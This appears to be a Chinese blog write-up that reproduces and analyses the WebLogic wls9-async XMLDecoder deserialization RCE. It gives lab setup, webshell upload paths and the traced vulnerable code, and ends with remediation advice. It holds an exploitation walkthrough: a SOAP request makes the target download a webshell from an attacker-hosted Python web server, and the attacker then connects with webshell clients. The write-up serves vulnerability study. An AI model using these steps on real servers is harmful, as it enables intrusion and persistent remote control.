weblogic wls9-async rce复现&分析
针对Weblogic wls9-async反序列化进行漏洞环境搭建及复现。
环境搭建
服务器需要安装jdk,这里采用1.7版本。
在Oracle官网下载对应版本,这里使用的12.1.3(10.x版本也可以的)。
下载完成之后,通过java -jar fmw_12.1.3.0.0_wls.jar
启动安装程序,默认安装即可。安装完成之后启动weblogic。
通过浏览器访问查看服务是否启动。
漏洞复现
在攻击机上通过python启动一个web服务,该目录下放一个webshell。
1 | python -m SimpleHTTPServer 80 # python2 |
由于是soap,先访问一下http://ip:port/_async/AsyncResponseService?WSDL ,看下格式结构。
通过SOAP-UI进行请求构建,新建一个soap,在Initial WSDL输入刚刚的url。
新建一个request请求。
将下列代码贴进请求包中,需要注意的是string标签下面的ip、port、webshell.txt这些需要按照自己的环境进行修改。我的攻击机ip为192.168.100.5 port为80 webshell.txt为cmd.txt。
上传的路径:
12版本servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3/2ig01a/war/
10版本servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
。
1 | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> |
点击request窗口的发送请求按钮,可以看到攻击机上的python web服务有访问请求,说明文件已经成功上传到服务器上。
通过蚁剑或菜刀连接即可。
原理分析
使用JD-GUI打开对应War包。
1 | Weblogic9: |
在web.xml里面可以看到基本都是指向weblogic.wsee.async.AsyncResponseBean
跟进weblogic.wsee.async.AsyncResponseBean
,可以得知有两个函数handleResult、handleFault。查看oracle官方对AsyncResponseBean类的描述,查看Method Detail,可以得知handleResult是当异步响应服务收到对请求正常时调用,handleFault是异常时调用。
根据官方文档可以得知AsyncResponseBean继承AbstractAsyncResponseBean类(%WLS_HOME%/server/lib/weblogic.jar
)。在weblogic.wsee.async找到该类。
由于不了解weblogic逻辑处理流程,根据查阅的资料所得:该处会与AddressingHandler、AsyncResponseHandler、WorkAreaHandler有关。
其中WorkAreaHandler被WorkAreaServerHandler和WorkAreaClientHandler继承,而WorkAreaServerHandler的27行处localWorkContextMapInterceptor.receiveRequest(**new** WorkContextXmlInputAdapter(localWorkAreaHeader.getInputStream()));
可以看到接受请求用到了WorkContextXmlInputAdapter。
跟进该类可以发现该类imoprt了XMLDecoder,而且并没有做过滤。XMLDecoder是用来将XML文件反序列化成java对象。
修复建议
1.删除对应war包;
2.禁用bea_wls9_async_response组件。
总结
这次分析还有存在疑难点:weblogic整体的逻辑处理流程是如何,这个需要后续是多了解。